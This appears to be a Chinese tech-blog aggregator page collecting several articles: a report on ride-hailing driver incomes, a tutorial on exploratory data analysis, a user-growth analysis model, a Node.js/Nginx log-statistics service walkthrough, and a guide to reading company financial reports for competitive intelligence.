IT瘾分析推荐

中国新就业形态研究中心：2025年网约车司机月均收入7623元

Wed, 10 Sep 2025 20:23:23 CST

近日消息，近日，中国新就业形态研究中心发布最新研究成果——《城市出行的就业韧性：网约车司机就业图景与职业表现（2025）》报告。

报告显示， 网约车司机月均收入7623元，在六类蓝领职业中（网约车司机、外卖员、货车司机、快递员、制造业普工、建筑工）位列第二。

一线城市日均上线时间大于等于8小时的网约车司机平均收入为11557.1元。 相比其他蓝领职业，网约车司机的收入满意度较高。

网约车工作工时弹性高，司机可以依据个人与家庭需求自由上线或休息。 50.3%的网约车司机认为自己“工作时间长”，这一比例在外卖员、货车司机和建筑工分别为68.7%、70.27%、85.1%。

绩效与认可方面，77.7%的司机反馈可以通过透明账单了解收入及抽成比例。比较而言，仅24.23%的货车司机对运费有信心，75.77%的司机担心货主拖欠运费。

成长与职业机会方面，网约车司机安全培训覆盖率高达95%，继续从事意愿也达到最高（75.7%）；外卖员培训率82.3%，留任意愿68.4%；货车司机与建筑工的培训覆盖率仅65.22%和71.5%，对应的留任意愿则降至50.29%与46.8%。

报告还比较了不同蓝领岗位的净付出，即工作要求与工作资源的比较。工作要求越高、工作资源越少，则该职业的净付出越重。

总体而言， 网约车司机的净付出属于中等偏低水平。

自快科技

探索性数据分析详解

Tue, 18 Apr 2023 22:54:59 CST

什么是探索性数据分析？

探索性数据分析（Exploratory Data Analysis，简称EDA）是指对已有的数据（特别是调查或观察得来的原始数据）在尽量少的先验假定下进行探索，通过作图、制表、方程拟合、计算特征量等手段探索数据的结构和规律的一种数据分析方法。

探索性数据分析（EDA）与传统统计分析（Classical Analysis）的区别：

传统的统计分析方法通常是先假设样本服从某种分布，然后把数据套入假设模型再做分析。但由于多数数据并不能满足假设的分布，因此，传统统计分析结果常常不能让人满意。
探索性数据分析方法注重数据的真实分布，强调数据的可视化，使分析者能一目了然看出数据中隐含的规律，从而得到启发，以此帮助分析者找到适合数据的模型。“探索性”是指分析者对待解问题的理解会随着研究的深入不断变化。

探索性数据分析除了日常的数据分析外，也是算法模型搭建过程中的必要环节。特别适合数据比较杂乱，不知所措的场景。

探索性分析用一句话概况就是：折磨数据，它会坦白任何事情。

探索性数据分析的一般流程

探索性分析的一般流程：

数据总览
探索性分析每个变量
探索性分析变量与target标签的关系
探索性分析变量之间的关系

数据总览

在数据处理前首先要充分了解数据，了解数据包含以下两部分：

了解数据的外部信息。即数据的现实意义。可通过业务知识与流量计获取采集方式进行了解。
了解数据的内部信息。即数据的自身情况。可通过统计学的相关知识，如计算均值，标准差，峰度，偏度等。另外，也可以通过绘图，来深入了解数据，为创建有效特征提供思路。

对于数据总览一般可借助Pandas的一些函数对数据有些大概了解：

describe() # 查看所有数据平均值，四分位数等信息
info() # 查看所有数据的数据类型和非空值个数。
shape # 查看数据行列数
isnull().sum() # 查看数据各个特征为空值的个数

探索性分析每个变量

需要了解的内容包括：

变量是什么类型
变量是否有缺失值
变量是否有异常值
变量是否有重复值
变量是否均匀
变量是否需要转换
…

在分析每个变量可通过描述统计量和图表进行描述。数据类型分为数值型，类别型，文本型，时间序列等。这里主要指的是数值型（定量数据）和类别型（定性数据），其中数值型又可以分为连续型和离散型。

1）连续数据分析

数据分析分为两个方面，一是统计汇总，二是可视化。离散也是这样。

统计计算：

在统计学中，想要描述一个数据，要从三个方面进行说明：
- 集中趋势：均值，中位数，众数。对于正太分布的数据，均值的效果比较好，而对于有偏数据，因为存在极值，所有会对均值产生影响，此时，用中位数去进行集中趋势的描述。
- 离散程度：方差和标准差。这两个用哪个都可，不过标准差是具有实际意义的。另外，还可以用极差，平均差，四分位差，离散系数（针对多组数据离散程度的对比）。
- 分布形状：偏度skew()，衡量数据偏斜情况。峰度kurt()，衡量数据分布的平坦度。检验数据正态性。一般可绘制P-P图，Q-Q图来进行判断。或者通过计算偏度，峰度进行判断，也有其他别的方法，但了解的较少。
数据转化。这步一般在特征工程中，这里提一下，通过box-cox可以将非正态数据转为正态数据。
游程检验。非参数统计的一种方法，判断数据是否是随机出现的。连续，离散都可以用。
通过describe()，可观察数据的大致情况。

可视化：

对连续数据可视化主要有以下几个图形：
- 直方图。可以大致看出数据的分布情况，但会受限于bins的取值并且图形不光滑。可在直方图上再画出核密度图(KDE)，进行更详细的查看。
- 核密度估计
- 核密度图
- 箱线图。反映原始数据的分布特征，还能进行多组数据的比较。可看出数据的离群点。
- 散点图。利用索引和连续数据作散点图，直观看数据是否随机。
类型转换
- 将连续型数据转为离散型数据。比如，年龄，可以将其分组为少年，青年，壮年，老年等。这种处理方式的关键是如何分组，在数据噪声处理中有过描述，介绍了人为区分，等深等宽分组，无监督算法分组，聚类等方法。
- 关于为什么要把连续型数据转为离散型数据，大概的好处有：去噪声，易理解，算法需要。

针对连续变量常见的描述统计量：平均值，中位数，众数，最小值，最大值，四分位数，标准差等

图表：频数分布表（需进行分箱操作），直方图，箱形图（查看分布情况）

2）离散数据分析

统计计算

主要查看数据的结构。用众数看哪类数据出现的最多。利用value_counts()函数，查看各个类别出现的次数。

可视化

饼图。对于查看数据结构比较直观，所占百分比。
柱形图。对各类别出现次数进行可视化。可排序，这样观察数据更直观。

针对 无序型离散变量常见的描述统计量：各个变量出现的频数和占比

图表：频数分布表（绝对频数，相对频数，百分数频数），柱形图，条形图，茎叶图，饼图

针对 有序型离散变量常见的描述统计量：各个变量出现的频数和占比

图表：频数分布表，堆积柱形图，堆积条形图（比较大小）

变量间关系分析

当对单个数据分析完后，还要看各个数据与目标特征的关系，和除目标特征外，其他数据间的关系。

探索性分析变量与target标签的关系
探索性分析变量之间的关系

1）连续型变量与连续型变量关系

统计计算：

协方差，可以得到两个变量间的相关性。但协方差越大，并不表明越相关。因为协方差的定义中没有考虑属性值本身大小的影响。
相关系数考虑了属性值本身大小的影响，因此是一个更合适的统计量。取值在[-1,1]上，-1表示负相关，即变换相反，1表示正相关，0则表示不相关。相关系数是序数型的，只能比较相关程度大小(绝对值比较),并不能做四则运算。而相关系数一般常用的有三种：
- Pearson相关系数：这个比较常用，主要用于正态的连续型数据间的比较。但在使用时，限制的条件比较多，对于偏态数据，效果不是很好。
- Spearman相关系数：相比于Pearson，这个的限制条件比较少，不受异常值影响。可以应用在多种场合。但若对正太正态数据使用，则效果一般。
- Kendall相关系数：限制条件同Spearman。一般用在分类数据的相关性上。
- 注：Pearson和协方差，主要看数据间的关系是不是线性的，如不是线性，但有其他联系，这两个系数是判断不出来的。比如指数函数这种。而Spearman和Kendall则可以进行一定的判断，主要是单调增函数。

可视化

散点图。可看出两个特征间的关系大致是什么样的。如果要具体探究数据间的关系，需要进行一定的计算。
相关性热力图。如果是一个数据与另一个时间序列进行搭配，则这个图可以很好地看出变化趋势。

对于连续变量与连续变量之间的关系，可以通过散点图进行查看。对于多个连续变量，可使用散点图矩阵，相关系数矩阵，热图。

量化指标：皮尔逊相关系数（线性关系），互信息（非线性关系）

2）离散变量和离散变量关系

对于离散变量与离散变量之间的关系，可以通过交叉分组表（crosstab），复合柱形图，堆积柱形图，饼图进行查看。对于多个离散变量，可以使用网状图，通过各个要素之间是否有线条，以及线条的粗线来显示是否有关系以及关系的强弱。

量化指标：卡方独立性检验—>Cramer’s φ (Phi) or Cramer’s V

3）离散变量和连续变量关系

对于离散变量和连续变量之间的关系，可以使用直方图，箱线图，小提琴图进行查看，将离散变量在图形中用不同的颜色显示，来直观地观察变量之间的关系。

量化指标：独立样本t检验中的t统计量和相应的p值（两个变量），单因素方差分析中的η²（三个变量及以上）

4）其他

检查数据的正态性：直方图，箱线图，Q-Q图（Quantile-Quantile Plot ）

直方图，箱线图：看图形是否对称
Q-Q图：比较数据的分位数与某个理论分布的分位数是否匹配

探索性数据分析的的产出

根据EDA我们可以得出以下结论：

变量是否需要筛选、替换和清洗
变量是否需要转换
变量之间是否需要交叉
变量是否需要采样

探索性数据分析的辅助工具

DataPrep
Pandas Profiling
Sweetviz
AutoViz
Klib
Dabl
SpeedML

参考链接：

其他参考：

这是我见过最好的用户增长分析模型

Thu, 02 Mar 2023 16:05:42 CST

数据分析师在进行数据驱动增长分析时，不但要用AARRR呈现增长结果，更要量化展现增长决策的全过程，从而发现更深层的问题。这篇文章通过围绕六个模块深入整个分析模型，数据分析师们快来学习学习吧。

数据驱动增长，是很多公司对数据分析师的要求，可具体到操作上，大家就开始纠结了。虽然增长黑客上白纸黑字写了AARRR五个大字，可真到分析的时候，就总被吐槽：

“新客户数10000人，所以呢？”

“活跃率50%，又怎样？”

“转化率跌了，干啥能升起来？”

单纯看AARRR五个指标，很容易给出“转化率跌了，要搞高”这种无脑结论。要怎么分析才能成体系地输出结论？今天系统分享一下。

00 用户增长的本质

先忘记模型、数据、方法论。就问一个最简单的问题：“如果让你自己做生意，你会思考啥？”你肯定不会先去听成功学大师讲“心法”“模型”“底层逻辑”（如果真有人兜售这些，要溜快点！），而是问几个简单的问题：

我要卖啥？
卖给哪些客户？
在哪里找到客户？
怎么让客户买单？
我要投入多少？
我能赚回多少？

这些实打实的问题，才是生意成功的关键。企业也是一样，不管发明多少新名词，做用户增长，就是得解决这六个核心问题：

赛道选择（线上/线下，快消、耐用、零食、服务……）
客群选择（一个具体赛道下的高、中、低客户）
获客渠道（广告投放、门店、裂变、传统销售……）
转化方式（买赠、拼团、秒杀、优惠、限购……）
投入成本（商品成本+广告成本+营销成本+运营成本）
产出收益（销售利润，融资目标）

这里个问题之间，有内在逻辑（如下图）：

整个分析模型，就是围绕这六个模块做深入。不但要用AARRR呈现增长结果，更要量化展现增长决策的 全过程，从而发现更深层的问题。

01 第一：赛道选择

用户增长本身有两大方式：

初创型企业，需要在公共市场上竞争，大海捕鱼。

集团企业内部孵化新业务，可以从内部引流，池塘养鱼。

两个方式下，数据看法不同：

大海捕鱼式：需要评估市场空间，市场增长速度，竞争对手情况，需要大量二手数据。

池塘养鱼式：内部客户已有数据基础，待转化的范围是有限的，直接做客群分析即可。

相比之下，大海捕鱼式更麻烦，因此重点讲一下，此时需要收集三个数据（如下图）：

目前市场评估：评估增长空间有多大
存量玩家的规模：发现竞争格局，评估竞争难度
存量玩家的增速：发现增长标杆，选择对标对象

这三个数据，都不太可能直接获取准确数据，因此需要结合第三方数据、行业报告、主要竞争对手的新闻，甚至一些不太光彩的手段获取。

此时，不必太纠结数据准确度（一定不100%准），而是要评估来自各个渠道的信息，指向是否一致。比如各渠道都反应：行业是垄断竞争装填，行业在快速扩张期。定性判断是准的即可。

02 第二：客群选择

当赛道具体到一个具体领域后（快消、耐用、零食、服务……），其目标用户群体的画像、消费力、人群数量是可以锁定的。这里有两个要重点关注的东西：用户消费力分层与用户复购行为。这两点，直接决定了增长打法。

1、用户消费力分层

原则上，头部客户的消费力越强，人数越少。则越应该采取“大浪淘沙”式的增长策略，大量获客之后，通过高门槛+重服务，筛选出大客户，紧紧抓住大客户的需求。如果头部客户消费力与底部差异不大，或者用户普遍有大额消费刚需，则要采取“放水养鱼”策略，做好基础服务，做大客群。

2、用户成长路径

客户自然复购率高，通过少量投入能引发复购，则可以打造用户成长路径，鼓励用户多消费，鼓励累积消费。如果天然复购率就低，则应采用收割策略：大量获取新人，鼓励老人带新人，从而保持持续增长。（如下图所示）

注意，这里有个典型的分析陷阱：把自己的存量用户，当成了市场上全量用户。当一个企业在市场上没有处于垄断地位的时候，很有可能存量的用户只是整体用户的一部分。市场上的用户全貌和基于存量分析出的用户画像不一样（如下图）。

因此在客群选择阶段做分析，要结合调研/竞品分析开展，及时了解竞争对手的客群结构，避免盲人摸象，越做越瞎。

03 第三：获取渠道

用户获取渠道与转化方式，与用户群体的定位有直接关系。理论上，有四种常见的形式可以选：

线上广告投放（根据目标用户喜好的渠道、内容进行投放）
线上用户裂变（目标用户中有KOL存在/KOC有足够分享意愿才行）
线下门店（目标用户聚集在特定城市/特定区域）
线下销售（有足够多大客户，值得销售一对一跟进）

这四种方式，对应着特定用户群体需求。因此在评估获客方式的时候，优先看的是每一类方式是否能触达对应的用户，再看转化效果。因此要区分局部影响因素和全局影响因素，优先看投放渠道和触达人数，是否达成目标（如下图）。

之后，才是每一类方式的转化漏斗分析。转化漏斗分析在很多文章已经有讲到，这里不再赘述了，传统的投放分析/获客分析也经常做这一块。

04 第四：转化方式

转化方式的分析，在很多文章也已经讲过，这里不再赘述了。实际上，传统的投放分析/获客分析也会做转化方式的研究，很多ABtest也是围绕“哪种转化方式更有效”进行的。

比如测试一个在线课程获客效果，可以用如下图方法，通过多个版本测试，逐步实现。

要注意的是： 测试不是无节制的。每一种打法可能有其转化能力的上限。因此在设计方案的时候，可以预设测试的次数、投入费用与期望值。比如一个月测试3次，如果都不能满意，就果断地换方案，避免在细节里陷得太深，只见树木不见森林。

05 第五：投入产出核算

投入产出核算，是评估增长的最重要尺子。这一步，常规的投放分析/获客分析也会做，但经常陷入细节，过分纠结每个渠道的ROI，形成“瘸子里边挑将军”的局面（如下图）。

做投入产出核算，首先应该将增长策略打包，同类策略下若干具体推广措施/活动，作为一个整体。 先评估整体效果，再看细节。

作为一个策略包，在其作用下：

增长速度是否令人满意
增长数量是否达到要求
投入产出比是否可接受

对整体评估之后，再看细节。这样既容易在内部树立标杆，又能避免“只见树木，不见森林”。如果发现竞争对手有新的策略推出，还能跟踪观察其效果，即时验证新方法可行性，避免局限于过往经验，错失新增长机会。

06 小结

这一套增长模型的做法，主要是为了避免增长分析只盯着眼前的一亩三分地，而导致的短视问题。领导们期望的深度洞察，比如下面三个问题，都得从全局出发，系统观测才能得到：

是否有还没采取的，但是很有用的手段
是否有更多突破常规，出奇制胜的技巧
是否已经触达上限，需要更换赛道/客群

当然，这样做也有挑战，就是数据分析的范畴，突破了现有数据，需要结合大量的行业数据与测试数据，才能下结论。这样对于数据分析师的工作是有很大挑战的，但是对增长来说非常有帮助。

作者：接地气的陈老师

微信公众号：接地气的陈老师（ID：gh_abf29df6ada8）

本文由 @接地气的陈老师原创发布于运营派。未经许可，禁止转载。

题图来自 Unsplash，基于 CC0 协议。

使用 Nginx 构建前端日志统计服务

Mon, 27 Dec 2021 11:15:29 CST

背景

之前的几篇文章都是关于之前提到的 低代码平台的。

这个大的项目以 low code 为核心，囊括了编辑器前端、编辑器后端、C 端 H5、组件库、组件平台、后台管理系统前端、后台管理系统后台、统计服务、自研 CLI 九大系统。

今天就来说一下其中的 统计服务：目的主要是为了实现 H5 页面的分渠道统计(其实不仅仅是分渠道统计，核心是想做一个自定义事件统计服务，只是目前有分渠道统计的需求)，查看每个渠道具体的 PV 情况。(具体会在 url 上面体现，会带上页面名称、id、渠道类型等)

先放一下整体流程图吧：

日志收集

常见的日志收集方式有手动埋点和自动埋点，这里我们不关注于如何收集日志，而是如何将收集的日志的发送到服务器。

在常见的埋点方案中，通过图片来发送埋点请求是一种经常被采纳的，它有很多优势：

没有跨域
体积小
能够完成整个 HTTP 请求+响应（尽管不需要响应内容）
执行过程无阻塞

这里的方案就是在 nginx 上放一张 1px * 1px 的静态图片，然后通过访问该图片（ http://xxxx.png?env=xx&event=xxx）,并将埋点数据放在 query参数上，以此将埋点数据落到 nginx日志中。

iOS 上会限制 get 请求的 url 长度，但我们这里真实场景发送的数据不会太多，所以目前暂时采用这种方案

这里简单阐述一下为什么图片地址的 query key 要这么设计，如果单纯是为了统计渠道和作品，很有可能会把 key设计为 channel、 workId这种，但上面也说到了，我们是想做一个自定义事件统计服务，那么就要考虑字段的可扩展性，字段应更有通用语义。所以参考了很多统计服务的设计，这里采用的字段为：

env
event
key
value

之后每次访问页面， nginx就会自动记录日志到 access_log中。

有了日志，下面我们来看下如何来对其进行拆分。

日志拆分

为何要拆分日志

access.log日志默认不会拆分，会越积累越多，系统磁盘的空间会被消耗得越来越多，将来可能面临着日志写入失败、服务异常的问题。

日志文件内容过多，对于后续的问题排查和分析也会变得很困难。

所以日志的拆分是有必要也是必须的。

如何拆分日志

我们这里拆分日志的核心思路是：将当前的 access.log复制一份重命名为新的日志文件，之后清空老的日志文件。

视流量情况（流量越大日志文件积累的越快），按天、小时、分钟来拆分。可以把 access.log按天拆分到某个文件夹中。

  log_by_day/2021-12-19.log
log_by_day/2021-12-20.log
log_by_day/2021-12-21.log

但上面的 复制 -> 清空操作肯定是要自动处理的，这里就需要启动定时任务，在每天固定的时间（我这里是在每天凌晨 00:00）来处理。

定时任务

其实定时任务不仅在日志拆分的时候会用到，在后面的日志分析和日志清除都会用到，这里先简单介绍一下，最终会整合拆分、分析和清除。

linux中内置的 cron进程就是来处理定时任务的。在 node中我们一般会用 node-schedule或 cron来处理定时任务。

这里使用的是 cron：

  /**
    cron 定时规则 https://www.npmjs.com/package/cron
    *    *    *    *    *    *
    ┬    ┬    ┬    ┬    ┬    ┬
    │    │    │    │    │    │
    │    │    │    │    │    └ day of week (0 - 6) (Sun-Sat)
    │    │    │    │    └───── month (1 - 12)
    │    │    │    └────────── day of month (1 - 31)
    │    │    └─────────────── hour (0 - 23)
    │    └──────────────────── minute (0 - 59)
    └───────────────────────── second (0 - 59)
 */

具体使用方式就不展开说明了。

编码

有了上面这些储备，下面我就来写一下这块代码，首先梳理下逻辑：

1️⃣ 读取源文件 access.log

2️⃣ 创建拆分后的文件夹（不存在时需自动创建）

3️⃣ 创建日志文件（天维度，不存在时需自动创建）

4️⃣ 拷贝源日志至新文件

5️⃣ 清空 access.log

  /**
 * 拆分日志文件
 *
 * @param {*} accessLogPath
 */
function splitLogFile(accessLogPath) {
  const accessLogFile = path.join(accessLogPath, "access.log");

  const distFolder = path.join(accessLogPath, DIST_FOLDER_NAME);
  fse.ensureDirSync(distFolder);

  const distFile = path.join(distFolder, genYesterdayLogFileName());
  fse.ensureFileSync(distFile);
  fse.outputFileSync(distFile, ""); // 防止重复，先清空

  fse.copySync(accessLogFile, distFile);

  fse.outputFileSync(accessLogFile, "");
}

日志分析

日志分析就是读取上一步拆分好的文件，然后按照一定规则去处理、落库。这里有一个很重要的点要提一下： node在处理大文件或者未知内存文件大小的时候千万不要使用 readFile，会突破 V8 内存限制。正是考虑到这种情况，所以这里读取日志文件的方式应该是： createReadStream创建一个可读流交给 readline 逐行读取处理

`readline`

readline 模块提供了用于从可读流每次一行地读取数据的接口。可以使用以下方式访问它：

  const readline = require("readline");

readline 的使用也非常简单：创建一个接口实例，传入对应的参数：

  const readStream = fs.createReadStream(logFile);
const rl = readline.createInterface({
  input: readStream,
});

然后监听对应事件即可：

  rl.on("line", (line) => {
  if (!line) return;

  // 获取 url query
  const query = getQueryFromLogLine(line);
  if (_.isEmpty(query)) return;

  // 累加逻辑
  // ...
});
rl.on("close", () => {
  // 逐行读取结束，存入数据库
  const result = eventData.getResult();
  resolve(result);
});

这里用到了 line和 close事件：

line事件：每当 input 流接收到行尾输入（\n、\r 或 \r\n）时，则会触发 'line' 事件
close事件：一般在传输结束时会触发该事件

逐行分析日志结果

了解了 readline 的使用，下面让我们来逐行对日志结果进行分析吧。

首先来看下 access.log中日志的格式：

我们取其中一行来分析：

  127.0.0.1 - - [19/Feb/2021:15:22:06 +0800] "GET /event.png?env=h5&event=pv&key=24&value=2 HTTP/1.1" 200 5233 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36" "-"

我们要拿到的就是 url的 query部分，也就是我们在 h5中自定义的数据。

通过正则匹配即可：

  const reg = /GET\s\/event.png\?(.+?)\s/;
const matchResult = line.match(reg);
console.log("matchResult", matchResult);

const queryStr = matchResult[1];
console.log("queryStr", queryStr);

打印结果为：

queryStr可通过 node中的 querystring.parse()来处理：

  const query = querystring.parse(queryStr);

console.log('query', query)
{
  env: 'h5',
  event: 'pv',
  key: '24',
  value: '2'
}

剩下的就是对数据做累加处理了。

但如何去做累加，我们要想一下，最开始也说了是要去做分渠道统计，那么最终的结果应该可以清晰的看到两个数据：

所有渠道的数据
每个渠道单独的数据

只有这样的数据对于运营才是有价值的，数据的好坏也直接决定了后面在每个渠道投放的力度。

这里我参考了 Google Analytics中的多渠道漏斗的概念，由上到下分维度记录每个维度的数据，这样就可以清晰的知道每个渠道的情况了。

具体实现也不麻烦，我们先来看下刚刚从一条链接中得到的有用数据：

  {
  env: 'h5',
  event: 'pv',
  key: '24',
  value: '2'
}

这里的 env代表环境，这里统计的都是来源于 h5页面，所以 env为 h5，但是为了扩展，所以设置了这个字段。

event表示事件名称，这里主要是统计访问量，所以为 pv。

key是作品 id。

value是渠道 code，目前主要有：1-微信、2-小红书、3-抖音。

再来看下最终统计得到的结果吧：

  {
  date: '2021-12-21',
  key: 'h5',
  value: { num: 1276}
}
{
  date: '2021-12-21',
  key: 'h5.pv',
  value: { num: 1000}
}
{
  date: '2021-12-21',
  key: 'h5.pv.12',
  value: { num: 200}
}
{
  date: '2021-12-21',
  key: 'h5.pv.12.1',
  value: { num: 56}
}
{
  date: '2021-12-21',
  key: 'h5.pv.12.2',
  value: { num: 84}
}
{
  date: '2021-12-21',
  key: 'h5.pv.12.3',
  value: { num: 60}
}

这是截取了 2021-12-21当天的数据，我给大家分析一波：

1️⃣ h5：当天 h5 页面的自定义事件上报总数为 1276

2️⃣ h5.pv：其中所有 pv（也就是 h5.pv）为 1000

3️⃣ h5.pv.12：作品 id 为 12 的 pv 一共有 200

4️⃣ h5.pv.12.1：作品 id 为 12 的在微信渠道的 pv 为 56

5️⃣ h5.pv.12.2：作品 id 为 12 的在小红书渠道的 pv 为 84

6️⃣ h5.pv.12.2：作品 id 为 12 的在抖音渠道的 pv 为 60

这样就能清楚的得到某一天某个作品在某条渠道的访问情况了，后续再以这些数据为支撑做成可视化报表，效果就一目了然了。

统计结果入库

目前这部分数据是放在了 mongoDB中，关于 node中使用 mongoDB就不展开说了，不熟悉的可以参考我另外一篇文章 Koa2+MongoDB+JWT 实战--Restful API 最佳实践

这里贴下 model吧：

  /**
 * @description event 数据模型
 */
const mongoose = require("../db/mongoose");

const schema = mongoose.Schema(
  {
    date: Date,
    key: String,
    value: {
      num: Number,
    },
  },
  {
    timestamps: true,
  }
);

const EventModel = mongoose.model("event_analytics_data", schema);

module.exports = EventModel;

日志删除

随着页面的持续访问，日志文件会快速增加，超过一定时间的日志文件存在的价值也不是很大，所以我们要定期清除日志文件。

这个其实比较简单，遍历文件，因为文件名都是以日期命名的(格式： 2021-12-14.log)，所以只要判断时间间隔大于 90 天就删除日志文件。

贴一下核心实现：

  // 读取日志文件
const fileNames = fse.readdirSync(distFolder);
fileNames.forEach((fileName) => {
  try {
    // fileName 格式 '2021-09-14.log'
    const dateStr = fileName.split(".")[0];
    const d = new Date(dateStr);
    const t = Date.now() - d.getTime();
    if (t / 1000 / 60 / 60 / 24 > 90) {
      // 时间间隔，大于 90 天，则删除日志文件
      const filePath = path.join(distFolder, fileName);
      fse.removeSync(filePath);
    }
  } catch (error) {
    console.error(`日志文件格式错误 ${fileName}`, error);
  }
});

定时任务整合

到这里，日志的拆分、分析和清除都说完了，现在要用 cron来对他们做整合了。

首先来创建定时任务：

  function schedule(cronTime, onTick) {
  if (!cronTime) return;
  if (typeof onTick !== "function") return;

  // 创建定时任务
  const c = new CronJob(
    cronTime,
    onTick,
    null, // onComplete 何时停止任务
    true, // 初始化之后立刻执行
    "Asia/Shanghai" // 时区
  );

  // 进程结束时，停止定时任务
  process.on("exit", () => c.stop());
}

然后每一阶段都在不同的时间阶段去处理（定时拆分 -> 定时分析 -> 定时删除）

定时拆分

  function splitLogFileTiming() {
  const cronTime = "0 0 0 * * *"; // 每天的 00:00:00
  schedule(cronTime, () => splitLogFile(accessLogPath));
  console.log("定时拆分日志文件", cronTime);
}

定时分析并入库

  function analysisLogsTiming() {
  const cronTime = "0 0 3 * * *"; // 每天的 3:00:00 ，此时凌晨，访问量较少，服务器资源处于闲置状态
  schedule(cronTime, () => analysisLogsAndWriteDB(accessLogPath));
  console.log("定时分析日志并入库", cronTime);
}

定时删除

  function rmLogsTiming() {
  const cronTime = "0 0 4 * * *"; // 每天的 4:00:00 ，此时凌晨，访问量较少，服务器资源处于闲置状态
  schedule(cronTime, () => rmLogs(accessLogPath));
  console.log("定时删除过期日志文件", cronTime);
}

然后在应用入口按序调用即可：

  // 定时拆分日志文件
splitLogFileTiming();
// 定时分析日志并入库
analysisLogsTiming();
// 定时删除过期日志文件
rmLogsTiming();

总结

ok，到这里，一个简易的统计服务就完成了。

如何收集竞争情报——财报解读

Sun, 14 Jul 2019 01:04:00 CST

竞争情报及数据收集，分析及解读是数据分析中的一个重要环节。获取竞争情报及数据的方法有很多种，常见的方法如爬虫数据抓取，官方披露文件，第三方调研机构研报等。从获取难度，数据时效性，数据颗粒度，可用维度及靠谱程度上对比来看每种方法各有利弊。本篇文章介绍如果通过解读公司财报获取竞争情报，这种方法的优势在于数据相对比较靠谱，毕竟数据经过了专业的财务审计，并且有来自证券交易所和做空机构的监管。缺点则在于时效性较差，季报和年报都是对过去的解读。此外只有上市公司才会发布财报信息，因此如果目标公司还没有上市则无法使用这个方法。

1，如何找到竞品的财务报表

通过财务报表获取竞争情报的第一步是如何找到这些公司的财报。根据公司上市地点的不同我们可以在四个地方找到所需的财报文件。

官方网站投资者关系

第一种获得财报的方法是通过目标公司的官网获取，通常在上市公司的官网中都会包含一个投资人关系页面。这个页面中会包含公司的各种财务报表信息。以下是京东的投资者关系页面。

不过，官网中的投资人页面入口通常比较隐蔽，有些官网则很难找到。同时对于获取多家公司的财报来说，这种方法也比较麻烦。因此我们可以根据公司的上市地点通过交易所网站来获取财报信息。

美国证券交易委员会(SEC)

美国证券交易委员会（SEC –the U.S. Securities and Exchange Commission）简称SEC。所有在美国上市的公司无论是纳斯达克证券市场（NASDAQ）还是纽约证券交易所(NYSE)上市的公司都可以在SEC中找到。SEC中查找公司财报的方法比较简单，在主导航FILINGS下选择Company Filing Search就可以到达搜索页面。在搜索页面中输入公司的名称，可以看到该公司的财务报表，根据上市时间的不同可以看到包括IPO初始上市文件(招股说明书)，年报，季报及重大事项报告等内容。SEC中的所有文件都是英文版的，所以如果你的英文水平有限可以结合Google Translate来查看。

香港交易所(HKEx)

香港交易所，全称“香港交易及结算所有限公司”（Hong Kong Exchanges and Clearing Limited，英文简称HKEx）。所有在香港上市的公司财务文件都可以在这里找到，例如最近新上市的平安好医生，以及即将上市的海底捞等。HKEx中查找公司财报的方法和SEC类似，在HKEx首页主导航的”市场数据”下选择”披露易”，然后在顶部”上市公司公告”区域选择”进阶搜寻”。输入股份代码或股份名称就可以找到目标公司的财务文件了。

上海证券交易所和深圳证券交易所

在大陆地区上市的公司和回归A股的互联网中概股，如”三六零安全”等分别可以在上海证券交易所，和深圳证券交易所的网站上通过搜索找到。方法和HKEx类似，这里不再赘述。

2，哪几类财报需要重点关注

上市公司的财报类型种类繁多，不同的时间节点及事件会发布不同的文件，例如IPO上市时会首先发布招股说明书，每个季度会发布季度财报，财年结束会发布年度财报，发生重大事件时还会发布重大事项报告(如并购和重大人事变更等)。因此，以SEC为例，我们搜索到的公司财报可能会是这样一个很长的，包含不同类型的文档列表。(公司官网会对财报进行分类展示，交易所网站支持按类型筛选及搜索)

在这些文档中，我们重点关注三类，第一是招股说明书（FormS-1/F-1），第二是公司的季度财报（Form10-Q），第三是公司的年度财报（From10-K）这三类文档从内容的详细程度来看招股说明书的内容最为全面，动辄三五百页。其次是季度财报和年度财报文档。我们可以利用SEC网站中的分类搜索功能筛选出这些文档。

在筛选结果中点击Documents可以查看该文档的结构目录，这里显示了文档中所包含的图片等信息。选择并点击类型为F-1/A的htm文件，就可以查看文档中的详细信息了。这里以alibaba的招股说明书为例，

3，财报中的哪些内容最有价值

公司的财报和招股说明书中包含了大量的信息，按类别来分的话我觉得有三大类，第一大类内容信息量较低，主要是一些模板式的标准化文字。第二大类是专业的财务报表。第三大类是公司的运营信息。从竞争情报分析的角度来看，对我们最有价值的是后两类内容。因此建议重点关注财报中的下面几部分内容。

风险(Risk Factors)

第一个要关注的内容是目录中的“风险(Risk Factors)”部分，这部分根据不同公司主营业务和行业背景从产业链及上下游供应商关系，用户偏好，政策法规，行业竞争及内外部因素等几个维度介绍了影响公司运营及营收的主要风险因素。

行业(INDUSTRY)

第二个要关注的内容是目录中的“行业(INDUSTRY)”部分，这部分会从非常宏观的行业角度说明一下整个行业的增长驱动因素，互联网公司大部分的驱动因素都会包括互联网及移动互联网的普及率，以及国家重大政策带来变化。例如房屋中介的主要驱动力为移动互联网普及率提升及人口城镇化，金融类为消费金融市场发展及移动互联网普及率的提升。同时引用一下世界银行的数据或GDP规模占比，将中国的情况和美国的情况进行对比，展望下潜在的市场营收规模。(关于潜在市场规模的坑，我们会在后面的文章中单独介绍)。

公司业务(Business)

第四部分公司“业务(Business)”详细的介绍了公司的主营业务及流程，分别从用户，产品，渠道和竞争优势和技术能力的角度介绍了公司的商业模式，包括我们的用户是谁，我们提供什么样的产品和服务，以何种方式获得收入，未来的业务成长策略及路径，以及公司所特有的优势及创新能力创造的差异化和低成本的竞争壁垒。

财务状况与经营成果的管理探讨与分析(MD&A)

第三个要关注的内容是”财务状况与经营成果的管理探讨与分析(Management’s Discussion and Analysis of Financial Condition and Results of Operations)”，简称(MD&A)。这部分内容从管理者的角度解读公司最近一段时间的运营情况，主要包括公司规模，收入及变现能力，业务成果，关键驱动因素等。并详细说明了一些关键业务指标(MAU,GMV等)的变化原因和战略动作。以及成本和收入的数字及分布。如不同业务及产品线带来的收入占比，毛利率以及市场投放，运营和人员在成本中的占比等等。

以上是财报中需要关注的主要信息部分，除此之外还可以通过其他财报解读媒体或财报电话会议中高管对财报的解读和与分析师的提问互动中获取信息。

4，如何获取其他财报相关信息

